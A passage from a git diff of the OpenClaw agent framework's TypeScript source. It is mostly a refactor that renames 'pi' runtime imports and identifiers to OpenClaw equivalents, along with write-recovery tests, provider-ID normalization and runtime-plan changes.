expect((result as { isError?: unknown }).isError).toBe(false); - expect(readFile).not.toHaveBeenCalled(); - }); - - it("recovers large same-size rewrites when timeout follows changed metadata", async () => { - tmpDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-write-recovery-")); - const filePath = path.join(tmpDir, "large.txt"); - const content = "x".repeat(1024 * 1024 + 1); - const readFile = vi.fn(async () => content); - let statCall = 0; - const statFile = vi.fn(async () => { - statCall += 1; - return { - type: "file", - size: Buffer.byteLength(content, "utf8"), - mtimeMs: statCall, - } as const; - }); - - const tool = createRecoveredWriteTool({ - root: tmpDir, - readFile, - statFile, - execute: async () => { - throw new Error("node invoke timed out"); - }, - }); - - const result = await tool.execute("call-1", { path: filePath, content }, undefined); - - expect((result as { isError?: unknown }).isError).toBe(false); - expect(readFile).toHaveBeenCalledTimes(1); - expect(statFile).toHaveBeenCalledTimes(2); - }); - - it("recovers new-file writes when pre-stat throws before a timeout", async () => { - tmpDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-write-recovery-")); - const filePath = path.join(tmpDir, "created.txt"); - const content = "created\n"; - - const tool = createRecoveredWriteTool({ - root: tmpDir, - readFile: async () => content, - statFile: async () => { - throw new Error("No such file or directory"); - }, - execute: async () => { - throw new Error("node invoke timed out"); - }, - }); - - const result = await tool.execute("call-1", { path: filePath, content }, undefined); - - expect((result as { isError?: unknown }).isError).toBe(false); - }); - - it("keeps timeout when pre-stat fails for an unknown reason", async () => { - tmpDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-write-recovery-")); - const filePath = path.join(tmpDir, "demo.txt"); - const content = "already there\n"; - - const tool = createRecoveredWriteTool({ - root: tmpDir, - readFile: async () => content, - statFile: async () => { - throw new Error("stat bridge failed"); - }, - execute: async () => { - throw new Error("node invoke timed out"); - }, - }); - - await expect(tool.execute("call-1", { path: filePath, content }, undefined)).rejects.toThrow( - "node invoke timed out", - ); - }); - - it("recovers @-prefixed write paths through the upstream write path contract", async () => { - tmpDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-write-recovery-")); - const filePath = path.join(tmpDir, "notes.md"); - const controller = new AbortController(); - - const tool = createRecoveredWriteTool({ - root: tmpDir, - readFile: (absolutePath) => fs.readFile(absolutePath, "utf-8"), - execute: async (_toolCallId, params) => { - const record = params as { content: string }; - await fs.writeFile(filePath, record.content, "utf-8"); - controller.abort(); - throw new Error("Operation aborted"); - }, - }); - - const result = await tool.execute( - "call-1", - { path: "@notes.md", content: "finished\n" }, - controller.signal, - ); - - expect((result as { isError?: unknown }).isError).toBe(false); - }); - - it("recovers timeout-like post-write errors when readback matches requested content", async () => { - tmpDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-write-recovery-")); - const filePath = path.join(tmpDir, "demo.txt"); - - const tool = createRecoveredWriteTool({ - root: tmpDir, - readFile: (absolutePath) => fs.readFile(absolutePath, "utf-8"), - execute: async (_toolCallId, params) => { - const record = params as { path: string; content: string }; - await fs.writeFile(record.path, record.content, "utf-8"); - throw new Error("node invoke timed out"); - }, - }); - - const result = await tool.execute( - "call-1", - { path: filePath, content: "finished\n" }, - undefined, - ); - - expect((result as { isError?: unknown }).isError).toBe(false); - }); - - it("recovers file URL write paths through the upstream write path contract", async () => { - tmpDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-write-recovery-")); - const filePath = path.join(tmpDir, "notes.md"); - const fileUrl = pathToFileURL(filePath).href; - const controller = new AbortController(); - - const tool = createRecoveredWriteTool({ - root: tmpDir, - readFile: (absolutePath) => fs.readFile(absolutePath, "utf-8"), - execute: async (_toolCallId, params) => { - const record = params as { content: string }; - await fs.writeFile(filePath, record.content, "utf-8"); - controller.abort(); - throw new Error("Operation aborted"); - }, - }); - - const result = await tool.execute( - "call-1", - { path: fileUrl, content: "finished\n" }, - controller.signal, - ); - - expect((result as { isError?: unknown }).isError).toBe(false); - }); -}); diff --git a/src/agents/plugin-text-transforms.test.ts b/src/agents/plugin-text-transforms.test.ts index 2e0469281fb..c1542d4a9e8 100644 --- a/src/agents/plugin-text-transforms.test.ts +++ b/src/agents/plugin-text-transforms.test.ts @@ -1,10 +1,10 @@ -import type { StreamFn } from "@earendil-works/pi-agent-core"; +import type { StreamFn } from "openclaw/plugin-sdk/agent-core"; import { createAssistantMessageEventStream, type AssistantMessage, type Context, type Model, -} from "@earendil-works/pi-ai"; +} from "openclaw/plugin-sdk/llm"; import { describe, expect, it } from "vitest"; import { applyPluginTextReplacements, diff --git a/src/agents/plugin-text-transforms.ts b/src/agents/plugin-text-transforms.ts index abcb52b268c..5d3d01d8fe3 100644 --- a/src/agents/plugin-text-transforms.ts +++ b/src/agents/plugin-text-transforms.ts @@ -1,7 +1,7 @@ -import type { StreamFn } from "@earendil-works/pi-agent-core"; -import { streamSimple, type AssistantMessageEvent } from "@earendil-works/pi-ai"; +import type { AssistantMessageEvent } from "../llm/types.js"; import type { PluginTextReplacement, PluginTextTransforms } from "../plugins/cli-backend.types.js"; -import { isRecord } from "../shared/record-coerce.js"; +import type { StreamFn } from "./runtime/index.js"; +import type { MutableAssistantMessageEventStream } from "./stream-compat.js"; import { createStreamIteratorWrapper } from "./stream-iterator-wrapper.js"; export function mergePluginTextTransforms( @@ -32,6 +32,10 @@ export function applyPluginTextReplacements( return next; } +function isRecord(value: unknown): value is Record { + return Boolean(value && typeof value === "object" && !Array.isArray(value)); +} + function transformContentText(content: unknown, replacements?: PluginTextReplacement[]): unknown { if (typeof content === "string") { return applyPluginTextReplacements(content, replacements); @@ -113,9 +117,9 @@ function transformAssistantEventText( } function wrapStreamTextTransforms( - stream: ReturnType, + stream: MutableAssistantMessageEventStream, replacements?: PluginTextReplacement[], -): ReturnType { +): MutableAssistantMessageEventStream { if (!replacements || replacements.length === 0) { return stream; } diff --git a/src/agents/prompt-surface.ts b/src/agents/prompt-surface.ts index 31d4e897abe..6eb58a8019b 100644 --- a/src/agents/prompt-surface.ts +++ b/src/agents/prompt-surface.ts @@ -1,3 +1,4 @@ +import { isOpenClawMainPromptSurface } from "../plugins/agent-prompt-surface-kind.js"; import type { AgentPromptSurfaceKind } from "../plugins/types.js"; import { isAcpSessionKey, isSubagentSessionKey } from "../routing/session-key.js"; @@ -17,9 +18,9 @@ export function buildOpenClawToolFallbackText(params: { execToolName: string; processToolName: string; }): string { - if (params.surface === "pi_main") { + if (isOpenClawMainPromptSurface(params.surface)) { return [ - "Pi lists the standard tools above. This runtime enables:", + "OpenClaw lists the standard tools above. This runtime enables:", "- grep: search file contents for patterns", "- find: find files by glob pattern", "- ls: list directory contents", @@ -47,7 +48,7 @@ export function shouldRenderOpenClawToolWorkflowHints(params: { surface: AgentPromptSurfaceKind; hasToolList: boolean; }): boolean { - return params.surface === "pi_main"; + return isOpenClawMainPromptSurface(params.surface); } export function resolveAgentPromptSurfaceForSessionKey( @@ -56,5 +57,5 @@ export function resolveAgentPromptSurfaceForSessionKey( if (sessionKey && isAcpSessionKey(sessionKey)) { return "acp_backend"; } - return sessionKey && isSubagentSessionKey(sessionKey) ? "subagent" : "pi_main"; + return sessionKey && isSubagentSessionKey(sessionKey) ? "subagent" : "openclaw_main"; } diff --git a/src/agents/provider-id.ts b/src/agents/provider-id.ts index c90f7727e02..c8404a48fe7 100644 --- a/src/agents/provider-id.ts +++ b/src/agents/provider-id.ts @@ -1,36 +1,7 @@ import { normalizeLowercaseStringOrEmpty } from "../shared/string-coerce.js"; export function normalizeProviderId(provider: string): string { - const normalized = normalizeLowercaseStringOrEmpty(provider); - if (normalized === "modelstudio" || normalized === "qwencloud") { - return "qwen"; - } - if (normalized === "z.ai" || normalized === "z-ai") { - return "zai"; - } - if (normalized === "opencode-zen") { - return "opencode"; - } - if (normalized === "opencode-go-auth") { - return "opencode-go"; - } - if (normalized === "anthropic-cli") { - return "claude-cli"; - } - if (normalized === "kimi" || normalized === "kimi-code" || normalized === "kimi-coding") { - return "kimi"; - } - if (normalized === "moonshotai" || normalized === "moonshot-ai") { - return "moonshot"; - } - if (normalized === "bedrock" || normalized === "aws-bedrock") { - return "amazon-bedrock"; - } - // Backward compatibility for older provider naming. - if (normalized === "bytedance" || normalized === "doubao") { - return "volcengine"; - } - return normalized; + return normalizeLowercaseStringOrEmpty(provider); } /** Normalize provider ID before manifest-owned auth alias lookup. */ diff --git a/src/agents/provider-local-service.test.ts b/src/agents/provider-local-service.test.ts index 9b08f7e27af..d75bf321312 100644 --- a/src/agents/provider-local-service.test.ts +++ b/src/agents/provider-local-service.test.ts @@ -2,7 +2,7 @@ import fs from "node:fs/promises"; import net from "node:net"; import os from "node:os"; import path from "node:path"; -import type { Model } from "@earendil-works/pi-ai"; +import type { Model } from "openclaw/plugin-sdk/llm"; import { afterEach, describe, expect, it } from "vitest"; import { attachModelProviderLocalService, diff --git a/src/agents/provider-local-service.ts b/src/agents/provider-local-service.ts index 68c8b0dbc2f..432900208e6 100644 --- a/src/agents/provider-local-service.ts +++ b/src/agents/provider-local-service.ts @@ -1,7 +1,7 @@ import { spawn, type ChildProcess } from "node:child_process"; import path from "node:path"; -import type { Api, Model } from "@earendil-works/pi-ai"; import type { ModelProviderLocalServiceConfig } from "../config/types.models.js"; +import type { Model } from "../llm/types.js"; import { createSubsystemLogger } from "../logging/subsystem.js"; const log = createSubsystemLogger("provider-local-service"); @@ -55,7 +55,7 @@ export function getModelProviderLocalService( } export async function ensureModelProviderLocalService( - model: Model, + model: Model, probeHeaders?: HeadersInit, signal?: AbortSignal | null, ): Promise { @@ -176,7 +176,7 @@ function sortedStringRecord(record: Record | undefined): Record< } function buildHealthProbeHeaders( - model: Model, + model: Model, requestHeaders: HeadersInit | undefined, ): Headers | undefined { const headers = new Headers(); diff --git a/src/agents/provider-request-config.ts b/src/agents/provider-request-config.ts index c5f0b595ca1..047c57cf61a 100644 --- a/src/agents/provider-request-config.ts +++ b/src/agents/provider-request-config.ts @@ -1,4 +1,3 @@ -import type { Api } from "@earendil-works/pi-ai"; import type { ModelDefinitionConfig } from "../config/types.js"; import type { ConfiguredModelProviderRequest, @@ -6,6 +5,7 @@ import type { } from "../config/types.provider-request.js"; import { assertSecretInputResolved } from "../config/types.secrets.js"; import type { PinnedDispatcherPolicy } from "../infra/net/ssrf.js"; +import type { Api } from "../llm/types.js"; import { normalizeLowercaseStringOrEmpty } from "../shared/string-coerce.js"; import { COPILOT_INTEGRATION_ID, buildCopilotIdeHeaders } from "./copilot-dynamic-headers.js"; import type { diff --git a/src/agents/provider-stream.ts b/src/agents/provider-stream.ts index d09cccbef3e..90e4e40b2fa 100644 --- a/src/agents/provider-stream.ts +++ b/src/agents/provider-stream.ts @@ -1,9 +1,9 @@ -import type { StreamFn } from "@earendil-works/pi-agent-core"; -import type { Api, Model } from "@earendil-works/pi-ai"; import type { OpenClawConfig } from "../config/types.openclaw.js"; +import type { Api, Model } from "../llm/types.js"; import { resolveProviderStreamFn } from "../plugins/provider-runtime.js"; import { ensureCustomApiRegistered } from "./custom-api-registry.js"; import { createTransportAwareStreamFnForModel } from "./provider-transport-stream.js"; +import type { StreamFn } from "./runtime/index.js"; export function registerProviderStreamForModel(params: { model: Model; diff --git a/src/agents/provider-transport-fetch.test.ts b/src/agents/provider-transport-fetch.test.ts index 6c7fc0fc7cf..4da86286be0 100644 --- a/src/agents/provider-transport-fetch.test.ts +++ b/src/agents/provider-transport-fetch.test.ts @@ -1,5 +1,5 @@ -import type { Model } from "@earendil-works/pi-ai"; import { Stream } from "openai/streaming"; +import type { Model } from "openclaw/plugin-sdk/llm"; import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; import { buildGuardedModelFetch } from "./provider-transport-fetch.js"; diff --git a/src/agents/provider-transport-fetch.ts b/src/agents/provider-transport-fetch.ts index 9822169caf6..74eebe503be 100644 --- a/src/agents/provider-transport-fetch.ts +++ b/src/agents/provider-transport-fetch.ts @@ -1,4 +1,3 @@ -import type { Api, Model } from "@earendil-works/pi-ai"; import { fetchWithSsrFGuard, withTrustedEnvProxyGuardedFetchMode, @@ -10,6 +9,7 @@ import { ssrfPolicyFromHttpBaseUrlAllowedOrigin, type SsrFPolicy, } from "../infra/net/ssrf.js"; +import type { Model } from "../llm/types.js"; import { createSubsystemLogger } from "../logging/subsystem.js"; import { resolveDebugProxySettings } from "../proxy-capture/env.js"; import { @@ -192,7 +192,7 @@ function sanitizeOpenAISdkSseResponse( }); } -function shouldSanitizeOpenAISdkSseResponse(model: Model): boolean { +function shouldSanitizeOpenAISdkSseResponse(model: Model): boolean { if (model.provider !== "openai") { return true; } @@ -357,7 +357,7 @@ function buildManagedResponse( }); } -function resolveModelRequestPolicy(model: Model) { +function resolveModelRequestPolicy(model: Model) { const debugProxy = resolveDebugProxySettings(); let explicitDebugProxyUrl: string | undefined; if (debugProxy.enabled && debugProxy.proxyUrl) { @@ -388,7 +388,7 @@ function resolveModelRequestPolicy(model: Model) { } export function resolveModelRequestTimeoutMs( - model: Model, + model: Model, timeoutMs: number | undefined, ): number | undefined { if (timeoutMs !== undefined) { @@ -463,7 +463,7 @@ function canApplyFakeIpHostnamePolicy(value: unknown): value is string { } function resolveModelTransportSsrFPolicy(params: { - model: Model; + model: Model; url: string; allowPrivateNetwork?: boolean; trustConfiguredBaseUrlOrigin?: boolean; @@ -493,7 +493,7 @@ function resolveModelTransportSsrFPolicy(params: { } export function buildGuardedModelFetch( - model: Model, + model: Model, timeoutMs?: number, options?: { sanitizeSse?: boolean }, ): typeof fetch { diff --git a/src/agents/provider-transport-stream.test.ts b/src/agents/provider-transport-stream.test.ts index 49bdf6e8c40..8409689ece9 100644 --- a/src/agents/provider-transport-stream.test.ts +++ b/src/agents/provider-transport-stream.test.ts @@ -1,4 +1,4 @@ -import type { Api, Model } from "@earendil-works/pi-ai"; +import type { Api, Model } from "openclaw/plugin-sdk/llm"; import { describe, expect, it } from "vitest"; import { attachModelProviderLocalService } from "./provider-local-service.js"; import { attachModelProviderRequestTransport } from "./provider-request-config.js"; @@ -197,7 +197,7 @@ describe("provider transport stream contracts", () => { expect(preparedModel.id).toBe("google/gemma-4-E2B-it"); }); - it("keeps Codex defaults on the OpenClaw transport until PI preserves attribution", () => { + it("keeps Codex defaults on the OpenClaw transport until OpenClaw preserves attribution", () => { const model = buildModel("openai-codex-responses", { id: "gpt-5.4", provider: "openai-codex", diff --git a/src/agents/provider-transport-stream.ts b/src/agents/provider-transport-stream.ts index 5b25731afaa..bcba248ffda 100644 --- a/src/agents/provider-transport-stream.ts +++ b/src/agents/provider-transport-stream.ts @@ -1,6 +1,5 @@ -import type { StreamFn } from "@earendil-works/pi-agent-core"; -import type { Api, Model } from "@earendil-works/pi-ai"; import type { OpenClawConfig } from "../config/types.openclaw.js"; +import type { Api, Model } from "../llm/types.js"; import { resolveProviderStreamFn } from "../plugins/provider-runtime.js"; import { createAnthropicMessagesTransportStreamFn } from "./anthropic-transport-stream.js"; import { @@ -10,6 +9,7 @@ import { } from "./openai-transport-stream.js"; import { getModelProviderLocalService } from "./provider-local-service.js"; import { getModelProviderRequestTransport } from "./provider-request-config.js"; +import type { StreamFn } from "./runtime/index.js"; const SUPPORTED_TRANSPORT_APIS = new Set([ "openai-responses", @@ -37,7 +37,7 @@ type ProviderTransportStreamContext = { }; function createProviderOwnedGoogleTransportStreamFn( - model: Model, + model: Model, ctx?: ProviderTransportStreamContext, ): StreamFn | undefined { return ( @@ -74,7 +74,7 @@ function createProviderOwnedGoogleTransportStreamFn( } function createSupportedTransportStreamFn( - model: Model, + model: Model, ctx?: ProviderTransportStreamContext, ): StreamFn | undefined { switch (model.api) { @@ -94,7 +94,7 @@ function createSupportedTransportStreamFn( } } -function hasOpenClawTransportRequirement(model: Model): boolean { +function hasOpenClawTransportRequirement(model: Model): boolean { const request = getModelProviderRequestTransport(model); return Boolean(request?.proxy || request?.tls || getModelProviderLocalService(model)); } @@ -108,7 +108,7 @@ export function resolveTransportAwareSimpleApi(api: Api): Api | undefined { } export function createTransportAwareStreamFnForModel( - model: Model, + model: Model, ctx?: ProviderTransportStreamContext, ): StreamFn | undefined { if (!hasOpenClawTransportRequirement(model)) { @@ -123,7 +123,7 @@ export function createTransportAwareStreamFnForModel( } export function createOpenClawTransportStreamFnForModel( - model: Model, + model: Model, ctx?: ProviderTransportStreamContext, ): StreamFn | undefined { // Explicit fallback callers use this when they need OpenClaw's HTTP @@ -137,11 +137,11 @@ export function createOpenClawTransportStreamFnForModel( } export function createBoundaryAwareStreamFnForModel( - model: Model, + model: Model, ctx?: ProviderTransportStreamContext, ): StreamFn | undefined { - // Default embedded-runner fallback. Keep OpenAI-family APIs here until PI's - // native HTTP streams preserve the same OpenClaw request contract. + // Default embedded-runner fallback. Keep OpenAI-family APIs here while native + // HTTP streams preserve the same OpenClaw request contract. if (!isTransportAwareApiSupported(model.api)) { return undefined; } @@ -151,8 +151,8 @@ export function createBoundaryAwareStreamFnForModel( export function prepareTransportAwareSimpleModel( model: Model, ctx?: ProviderTransportStreamContext, -): Model { - const streamFn = createTransportAwareStreamFnForModel(model as Model, ctx); +): Model { + const streamFn = createTransportAwareStreamFnForModel(model as Model, ctx); const alias = resolveTransportAwareSimpleApi(model.api); if (!streamFn || !alias) { return model; @@ -164,7 +164,7 @@ export function prepareTransportAwareSimpleModel( } export function buildTransportAwareSimpleStreamFn( - model: Model, + model: Model, ctx?: ProviderTransportStreamContext, ): StreamFn | undefined { return createTransportAwareStreamFnForModel(model, ctx); diff --git a/src/agents/realtime-bootstrap-context.ts b/src/agents/realtime-bootstrap-context.ts index bfa94fb3733..8fa5f12a2a6 100644 --- a/src/agents/realtime-bootstrap-context.ts +++ b/src/agents/realtime-bootstrap-context.ts @@ -3,7 +3,7 @@ import type { OpenClawConfig } from "../config/types.openclaw.js"; import { resolveUserPath, truncateUtf16Safe } from "../utils.js"; import { resolveAgentWorkspaceDir } from "./agent-scope.js"; import { resolveBootstrapFilesForRun } from "./bootstrap-files.js"; -import { buildBootstrapContextFiles } from "./pi-embedded-helpers.js"; +import { buildBootstrapContextFiles } from "./embedded-agent-helpers.js"; import { DEFAULT_IDENTITY_FILENAME, DEFAULT_SOUL_FILENAME, diff --git a/src/agents/run-cleanup-timeout.test.ts b/src/agents/run-cleanup-timeout.test.ts index 4799055c524..d2136aa36d2 100644 --- a/src/agents/run-cleanup-timeout.test.ts +++ b/src/agents/run-cleanup-timeout.test.ts @@ -46,7 +46,7 @@ describe("agent cleanup timeout", () => { const result = runAgentCleanupStep({ runId: "run-trajectory", sessionId: "session-trajectory", - step: "pi-trajectory-flush", + step: "openclaw-trajectory-flush", cleanup, log, env: { @@ -62,7 +62,7 @@ describe("agent cleanup timeout", () => { expect(cleanup).toHaveBeenCalledTimes(1); expect(log.warn).toHaveBeenCalledWith( - "agent cleanup timed out: runId=run-trajectory sessionId=session-trajectory step=pi-trajectory-flush timeoutMs=25000", + "agent cleanup timed out: runId=run-trajectory sessionId=session-trajectory step=openclaw-trajectory-flush timeoutMs=25000", ); }); @@ -72,7 +72,7 @@ describe("agent cleanup timeout", () => { const result = runAgentCleanupStep({ runId: "run-trajectory", sessionId: "session-trajectory", - step: "pi-trajectory-flush", + step: "openclaw-trajectory-flush", cleanup, log, timeoutMs: 5, @@ -83,7 +83,7 @@ describe("agent cleanup timeout", () => { await expect(result).resolves.toBeUndefined(); expect(log.warn).toHaveBeenCalledWith( - "agent cleanup timed out: runId=run-trajectory sessionId=session-trajectory step=pi-trajectory-flush timeoutMs=5 details=pendingWrites=2 queuedBytes=128 activeOperation=file-append", + "agent cleanup timed out: runId=run-trajectory sessionId=session-trajectory step=openclaw-trajectory-flush timeoutMs=5 details=pendingWrites=2 queuedBytes=128 activeOperation=file-append", ); }); @@ -94,7 +94,7 @@ describe("agent cleanup timeout", () => { const result = runAgentCleanupStep({ runId: "run-trajectory", sessionId: "session-trajectory", - step: "pi-trajectory-flush", + step: "agent-trajectory-flush", cleanup, log, timeoutMs: 5, @@ -108,7 +108,7 @@ describe("agent cleanup timeout", () => { expect(message).toContain(" details=queuedBytes="); expect(message).toContain("...[truncated]"); expect(message.length).toBeLessThan( - "agent cleanup timed out: runId=run-trajectory sessionId=session-trajectory step=pi-trajectory-flush timeoutMs=5 details=" + "agent cleanup timed out: runId=run-trajectory sessionId=session-trajectory step=agent-trajectory-flush timeoutMs=5 details=" .length + CLEANUP_TIMEOUT_DETAILS_MAX_CHARS + 1, @@ -121,7 +121,7 @@ describe("agent cleanup timeout", () => { const result = runAgentCleanupStep({ runId: "run-trajectory", sessionId: "session-trajectory", - step: "pi-trajectory-flush", + step: "openclaw-trajectory-flush", cleanup, log, timeoutMs: 5, @@ -134,7 +134,7 @@ describe("agent cleanup timeout", () => { await expect(result).resolves.toBeUndefined(); expect(log.warn).toHaveBeenCalledWith( - "agent cleanup timed out: runId=run-trajectory sessionId=session-trajectory step=pi-trajectory-flush timeoutMs=5 detailsError=details unavailable", + "agent cleanup timed out: runId=run-trajectory sessionId=session-trajectory step=openclaw-trajectory-flush timeoutMs=5 detailsError=details unavailable", ); }); @@ -144,7 +144,7 @@ describe("agent cleanup timeout", () => { const result = runAgentCleanupStep({ runId: "run-trajectory", sessionId: "session-trajectory", - step: "pi-trajectory-flush", + step: "agent-trajectory-flush", cleanup, log, timeoutMs: 5, @@ -160,7 +160,7 @@ describe("agent cleanup timeout", () => { expect(message).toContain(" detailsError=details unavailable"); expect(message).toContain("...[truncated]"); expect(message.length).toBeLessThan( - "agent cleanup timed out: runId=run-trajectory sessionId=session-trajectory step=pi-trajectory-flush timeoutMs=5 detailsError=" + "agent cleanup timed out: runId=run-trajectory sessionId=session-trajectory step=agent-trajectory-flush timeoutMs=5 detailsError=" .length + CLEANUP_TIMEOUT_DETAILS_MAX_CHARS + 1, @@ -192,7 +192,7 @@ describe("agent cleanup timeout", () => { it("prefers explicit cleanup timeout values over environment overrides", () => { expect( resolveAgentCleanupStepTimeoutMs({ - step: "pi-trajectory-flush", + step: "openclaw-trajectory-flush", timeoutMs: 2_000, env: { OPENCLAW_TRAJECTORY_FLUSH_TIMEOUT_MS: "25000", @@ -205,7 +205,7 @@ describe("agent cleanup timeout", () => { it("keeps explicit zero cleanup timeouts as a one millisecond timeout", () => { expect( resolveAgentCleanupStepTimeoutMs({ - step: "pi-trajectory-flush", + step: "openclaw-trajectory-flush", timeoutMs: 0, env: { OPENCLAW_TRAJECTORY_FLUSH_TIMEOUT_MS: "25000", @@ -217,7 +217,7 @@ describe("agent cleanup timeout", () => { it("ignores invalid cleanup timeout environment values", () => { expect( resolveAgentCleanupStepTimeoutMs({ - step: "pi-trajectory-flush", + step: "openclaw-trajectory-flush", env: { OPENCLAW_TRAJECTORY_FLUSH_TIMEOUT_MS: "0", OPENCLAW_AGENT_CLEANUP_TIMEOUT_MS: "not-a-number", diff --git a/src/agents/run-cleanup-timeout.ts b/src/agents/run-cleanup-timeout.ts index afec3e67ead..58fe0383684 100644 --- a/src/agents/run-cleanup-timeout.ts +++ b/src/agents/run-cleanup-timeout.ts @@ -64,7 +64,7 @@ export function resolveAgentCleanupStepTimeoutMs(params: { } const env = params.env ?? process.env; - if (params.step === "pi-trajectory-flush") { + if (params.step === "openclaw-trajectory-flush") { const trajectoryTimeoutMs = parseTimeoutEnvValue(env[TRAJECTORY_FLUSH_TIMEOUT_ENV]); if (trajectoryTimeoutMs !== undefined) { return trajectoryTimeoutMs; diff --git a/src/agents/runtime-plan/auth.ts b/src/agents/runtime-plan/auth.ts index 57565755acf..630d56fa4a9 100644 --- a/src/agents/runtime-plan/auth.ts +++ b/src/agents/runtime-plan/auth.ts @@ -1,6 +1,6 @@ import type { OpenClawConfig } from "../../config/types.openclaw.js"; -import { shouldRouteOpenAIPiThroughCodexAuthProvider } from "../openai-codex-routing.js"; -import { normalizeEmbeddedAgentRuntime } from "../pi-embedded-runner/runtime.js"; +import { normalizeOptionalAgentRuntimeId } from "../agent-runtime-id.js"; +import { shouldRouteOpenAIThroughCodexAuthProvider } from "../openai-codex-routing.js"; import { resolveProviderIdForAuth } from "../provider-auth-aliases.js"; import type { AgentRuntimeAuthPlan } from "./types.js"; @@ -11,8 +11,8 @@ function resolveHarnessAuthProvider(params: { harnessId?: string; harnessRuntime?: string; }): string | undefined { - const harnessId = normalizeEmbeddedAgentRuntime(params.harnessId); - const runtime = normalizeEmbeddedAgentRuntime(params.harnessRuntime); + const harnessId = normalizeOptionalAgentRuntimeId(params.harnessId); + const runtime = normalizeOptionalAgentRuntimeId(params.harnessRuntime); return harnessId === "codex" || runtime === "codex" ? CODEX_HARNESS_AUTH_PROVIDER : undefined; } @@ -48,7 +48,7 @@ export function buildAgentRuntimeAuthPlan(params: { (harnessProviderForAuth === CODEX_HARNESS_AUTH_PROVIDER && authProfileProviderForAuth === OPENAI_PROVIDER && params.authProfileMode === "api_key")); - const openAIPiCanForwardCodexProfile = shouldRouteOpenAIPiThroughCodexAuthProvider({ + const openAICanForwardCodexProfile = shouldRouteOpenAIThroughCodexAuthProvider({ provider: providerForAuth, harnessRuntime: params.harnessRuntime, agentHarnessId: params.harnessId, @@ -60,7 +60,7 @@ export function buildAgentRuntimeAuthPlan(params: { const providerCanForwardProfile = !harnessProviderForAuth && providerForAuth === authProfileProviderForAuth; const canForwardProfile = - providerCanForwardProfile || harnessCanForwardProfile || openAIPiCanForwardCodexProfile; + providerCanForwardProfile || harnessCanForwardProfile || openAICanForwardCodexProfile; return { providerForAuth, diff --git a/src/agents/runtime-plan/build.test.ts b/src/agents/runtime-plan/build.test.ts index 1c58d845f96..3344e71838c 100644 --- a/src/agents/runtime-plan/build.test.ts +++ b/src/agents/runtime-plan/build.test.ts @@ -262,13 +262,13 @@ describe("AgentRuntimePlan", () => { expect(plan.auth.forwardedAuthProfileId).toBeUndefined(); }); - it("forwards OpenAI Codex profiles for explicit OpenAI PI runs", () => { + it("forwards OpenAI Codex profiles for explicit OpenAI OpenClaw runs", () => { const plan = buildAgentRuntimePlan({ provider: "openai", modelId: "gpt-5.4", modelApi: "openai-responses", - harnessId: "pi", - harnessRuntime: "pi", + harnessId: "openclaw", + harnessRuntime: "openclaw", authProfileProvider: "openai-codex", sessionAuthProfileId: "openai-codex:work", config: {}, @@ -359,11 +359,11 @@ describe("AgentRuntimePlan", () => { expect(resolveProviderRuntimePluginHandleMock).toHaveBeenCalledWith({ provider: "openai", + modelId: "gpt-5.4", config: suppliedHandle.config, workspaceDir: "/tmp/openclaw-runtime-plan", env: process.env, applyAutoEnable: undefined, - bundledProviderAllowlistCompat: undefined, bundledProviderVitestCompat: undefined, }); const followupCall = latestFollowupRouteCall(); @@ -406,11 +406,11 @@ describe("AgentRuntimePlan", () => { expect(resolveProviderRuntimePluginHandleMock).toHaveBeenCalledWith({ provider: "openai", + modelId: "gpt-5.4", config: {}, workspaceDir: "/tmp/openclaw-runtime-plan", env: process.env, applyAutoEnable: undefined, - bundledProviderAllowlistCompat: undefined, bundledProviderVitestCompat: undefined, }); const followupCall = latestFollowupRouteCall(); diff --git a/src/agents/runtime-plan/build.ts b/src/agents/runtime-plan/build.ts index 9b21e768816..3aff647f671 100644 --- a/src/agents/runtime-plan/build.ts +++ b/src/agents/runtime-plan/build.ts @@ -1,4 +1,3 @@ -import type { AgentTool } from "@earendil-works/pi-agent-core"; import type { TSchema } from "typebox"; import type { ThinkLevel } from "../../auto-reply/thinking.js"; import { isSilentReplyPayloadText, SILENT_REPLY_TOKEN } from "../../auto-reply/tokens.js"; @@ -18,12 +17,13 @@ import { resolveProviderTextTransforms, transformProviderSystemPrompt, } from "../../plugins/provider-runtime.js"; -import { resolvePreparedExtraParams } from "../pi-embedded-runner/extra-params.js"; -import { classifyEmbeddedPiRunResultForModelFallback } from "../pi-embedded-runner/result-fallback-classifier.js"; +import { resolvePreparedExtraParams } from "../embedded-agent-runner/extra-params.js"; +import { classifyEmbeddedAgentRunResultForModelFallback } from "../embedded-agent-runner/result-fallback-classifier.js"; import { logProviderToolSchemaDiagnostics, normalizeProviderToolSchemas, -} from "../pi-embedded-runner/tool-schema-runtime.js"; +} from "../embedded-agent-runner/tool-schema-runtime.js"; +import type { AgentTool } from "../runtime/index.js"; import { resolveTranscriptPolicy } from "../transcript-policy.js"; import { buildAgentRuntimeAuthPlan } from "./auth.js"; import type { @@ -62,12 +62,18 @@ function isProviderRuntimePluginHandle( function resolveProviderRuntimeHandleForPlugins(params: { provider: string; + modelId?: string; config?: OpenClawConfig; workspaceDir?: string; runtimeHandle?: BuildAgentRuntimePlanParams["providerRuntimeHandle"]; resolveWhenMissing?: boolean; }): ProviderRuntimePluginHandle | undefined { - if (isProviderRuntimePluginHandle(params.runtimeHandle)) { + if ( + isProviderRuntimePluginHandle(params.runtimeHandle) && + (params.runtimeHandle.plugin || + !params.modelId || + params.runtimeHandle.modelId === params.modelId) + ) { return params.runtimeHandle; } if (!params.runtimeHandle && !params.resolveWhenMissing) { @@ -75,11 +81,11 @@ function resolveProviderRuntimeHandleForPlugins(params: { } return resolveProviderRuntimePluginHandle({ provider: params.runtimeHandle?.provider ?? params.provider, + modelId: params.modelId, config: asOpenClawConfig(params.runtimeHandle?.config) ?? params.config, workspaceDir: params.runtimeHandle?.workspaceDir ?? params.workspaceDir, env: params.runtimeHandle?.env ?? process.env, applyAutoEnable: params.runtimeHandle?.applyAutoEnable, - bundledProviderAllowlistCompat: params.runtimeHandle?.bundledProviderAllowlistCompat, bundledProviderVitestCompat: params.runtimeHandle?.bundledProviderVitestCompat, }); } @@ -90,6 +96,7 @@ export function buildAgentRuntimeDeliveryPlan( const config = asOpenClawConfig(params.config); const providerRuntimeHandle = resolveProviderRuntimeHandleForPlugins({ provider: params.provider, + modelId: params.modelId, config, workspaceDir: params.workspaceDir, 